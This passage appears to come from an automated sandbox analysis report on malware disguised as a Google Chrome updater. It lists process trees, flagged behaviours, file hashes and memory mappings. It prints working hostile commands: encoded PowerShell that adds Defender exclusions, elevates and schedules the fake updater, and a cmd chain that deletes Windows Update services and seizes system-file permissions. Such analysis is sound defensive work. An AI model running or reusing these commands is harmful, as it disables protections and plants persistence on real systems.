ABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAdQByACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBuAGUAcAB4ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHkAZwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAbABkACMAPgA="1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "bdapyxxyq"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
1.8MB
MD56691c3106d5319f108114a48f5177396
SHA11ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA51219860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
C:\Program Files\Google\Chrome\updater.exeFilesize
1.8MB
MD56691c3106d5319f108114a48f5177396
SHA11ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA51219860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD55f0ddc7f3691c81ee14d17b419ba220d
SHA1f0ef5fde8bab9d17c0b47137e014c91be888ee53
SHA256a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5
SHA5122ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD52238871af228384f4b8cdc65117ba9f1
SHA12a200725f1f32e5a12546aa7fd7a8c5906757bd1
SHA256daa246f73567ad176e744abdb82d991dd8cffe0e2d847d2feefeb84f7fa5f882
SHA5121833d508fdbe2b8722b787bfc0c1848a5bcdeb7ec01e94158d78e9e6ceb397a2515d88bb8ca4ec1a810263fc900b5b1ea1d788aa103967ed61436e617fab47bf
-
memory/60-161-0x0000000000000000-mapping.dmp
-
memory/440-158-0x0000000000000000-mapping.dmp
-
memory/624-144-0x0000000000000000-mapping.dmp
-
memory/680-137-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/680-136-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/680-135-0x000001DA41AB0000-0x000001DA41AD2000-memory.dmpFilesize
136KB
-
memory/680-133-0x0000000000000000-mapping.dmp
-
memory/900-194-0x0000000000000000-mapping.dmp
-
memory/920-159-0x0000000000000000-mapping.dmp
-
memory/1152-150-0x0000000000000000-mapping.dmp
-
memory/1196-164-0x0000000000000000-mapping.dmp
-
memory/1340-163-0x0000000000000000-mapping.dmp
-
memory/1368-139-0x0000000000000000-mapping.dmp
-
memory/1432-160-0x0000000000000000-mapping.dmp
-
memory/1460-146-0x0000000000000000-mapping.dmp
-
memory/1540-201-0x0000000000000000-mapping.dmp
-
memory/1668-141-0x0000000000000000-mapping.dmp
-
memory/1668-213-0x0000000000000000-mapping.dmp
-
memory/1708-142-0x0000000000000000-mapping.dmp
-
memory/1972-204-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/1972-197-0x000000001C5B0000-0x000000001C5C2000-memory.dmpFilesize
72KB
-
memory/1972-188-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/1972-171-0x0000000000000000-mapping.dmp
-
memory/1972-175-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/1980-212-0x0000000000000000-mapping.dmp
-
memory/2168-193-0x0000000000000000-mapping.dmp
-
memory/2180-157-0x0000000000000000-mapping.dmp
-
memory/2288-173-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/2288-169-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/2296-166-0x0000000000000000-mapping.dmp
-
memory/2396-198-0x0000000000000000-mapping.dmp
-
memory/2412-196-0x0000000000000000-mapping.dmp
-
memory/2440-217-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/2440-205-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/2440-203-0x0000024F92670000-0x0000024F92677000-memory.dmpFilesize
28KB
-
memory/2448-145-0x0000000000000000-mapping.dmp
-
memory/2788-165-0x0000000000000000-mapping.dmp
-
memory/3084-199-0x0000000000000000-mapping.dmp
-
memory/3100-143-0x0000000000000000-mapping.dmp
-
memory/3184-208-0x0000000000000000-mapping.dmp
-
memory/3472-211-0x0000000000000000-mapping.dmp
-
memory/3484-148-0x0000000000000000-mapping.dmp
-
memory/3736-182-0x0000024CEEDF0000-0x0000024CEEDFA000-memory.dmpFilesize
40KB
-
memory/3736-174-0x0000000000000000-mapping.dmp
-
memory/3736-181-0x0000024CEEE30000-0x0000024CEEE4C000-memory.dmpFilesize
112KB
-
memory/3736-183-0x0000024CF0180000-0x0000024CF019A000-memory.dmpFilesize
104KB
-
memory/3736-184-0x0000024CEEE00000-0x0000024CEEE08000-memory.dmpFilesize
32KB
-
memory/3736-185-0x0000024CEEE50000-0x0000024CEEE56000-memory.dmpFilesize
24KB
-
memory/3736-186-0x0000024CF0160000-0x0000024CF016A000-memory.dmpFilesize
40KB
-
memory/3736-187-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/3736-178-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/3736-179-0x0000024CEEE10000-0x0000024CEEE2C000-memory.dmpFilesize
112KB
-
memory/3736-180-0x0000024CEEBC0000-0x0000024CEEBCA000-memory.dmpFilesize
40KB
-
memory/3756-206-0x0000000000000000-mapping.dmp
-
memory/3760-215-0x0000000000000000-mapping.dmp
-
memory/3912-191-0x0000000000000000-mapping.dmp
-
memory/4000-189-0x0000000000000000-mapping.dmp
-
memory/4056-156-0x0000000000000000-mapping.dmp
-
memory/4108-167-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/4108-149-0x0000000000000000-mapping.dmp
-
memory/4108-154-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/4164-162-0x0000000000000000-mapping.dmp
-
memory/4460-200-0x0000000000000000-mapping.dmp
-
memory/4596-216-0x0000000000000000-mapping.dmp
-
memory/4648-207-0x0000000000000000-mapping.dmp
-
memory/4652-202-0x0000000000000000-mapping.dmp
-
memory/4660-195-0x0000000000000000-mapping.dmp
-
memory/4672-147-0x0000000000000000-mapping.dmp
-
memory/4688-210-0x0000000000000000-mapping.dmp
-
memory/4728-140-0x0000000000000000-mapping.dmp
-
memory/4784-214-0x0000000000000000-mapping.dmp
-
memory/4804-151-0x0000000000000000-mapping.dmp
-
memory/4812-168-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/4812-138-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/4812-134-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmpFilesize
10.8MB
-
memory/4812-132-0x0000000000220000-0x00000000003FE000-memory.dmpFilesize
1.9MB
-
memory/4884-152-0x0000000000000000-mapping.dmp
-
memory/4900-192-0x0000000000000000-mapping.dmp
-
memory/4968-190-0x0000000000000000-mapping.dmp
-
memory/5064-209-0x0000000000000000-mapping.dmp